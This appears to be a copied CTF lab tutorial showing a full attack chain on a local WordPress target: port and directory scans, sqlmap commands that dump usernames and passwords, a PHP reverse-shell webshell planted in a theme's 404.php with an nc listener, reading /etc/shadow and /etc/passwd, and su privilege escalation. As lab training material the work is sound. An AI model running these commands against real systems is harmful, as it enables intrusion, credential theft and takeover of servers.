6-2 CTF Capture the Flag introductory tutorial-SQL injection POST parameters-injection of HTTP messages

1. Information detection

#扫描主机开放的全部端口
nmap -T4 -p- 192.168.2.117
#扫描靶场全部信息
nmap -T4 -A -v 192.168.2.117
#探测敏感信息
nikto -host http://
dirb http://
#漏洞扫描
owasp

2. Vulnerability exploitation

login interface
Insert picture description here

#burpsuite抓包,需要把浏览器设置代理
#在登录界面尝试登录,抓取请求数据包,保存为request.raw文件
#用sqlmap利用漏洞

Insert picture description here

#查看服务器所有数据库
sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch

Insert picture description here

#查看wordpress8080数据库的表名
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batchv

Insert picture description here

#查看users表的列名
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users --columns --dbms mysql --batch

Insert picture description here

查看users表的列和值
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --dbms mysql --batch

Insert picture description here

3. Upload webshell to gain control

#主题的404.php可以上传webshell
#webshell 获取 /usr/share/webshells/php/ 目录
#使用反弹shell脚本
cp php-reverse-shell.php /root/Downloads/
#修改脚本参数,攻击机IP和端口
gedit php-reverse-shell.php
#启动监听
nc -nlvp 4444
#访问页面,获取反弹shell
http://192.168.2.117:8080/wordpress/wp-content/themes/twentythirtheen/404.php
#美化终端
python -c "import pty;pty.spawn('/bin/bash')"
#查看敏感文件
cat /etc/shadow 
cat /etc/passwd
#使用su - 提权
su - 
#口令尝试wordpress8080数据库中的密码,登录成功

4. Summary

As long as the user can input the location, there may be injection points. The results of the
vulnerability scanner may not be accurate

Guess you like

Origin blog.csdn.net/m0_46622606/article/details/105339762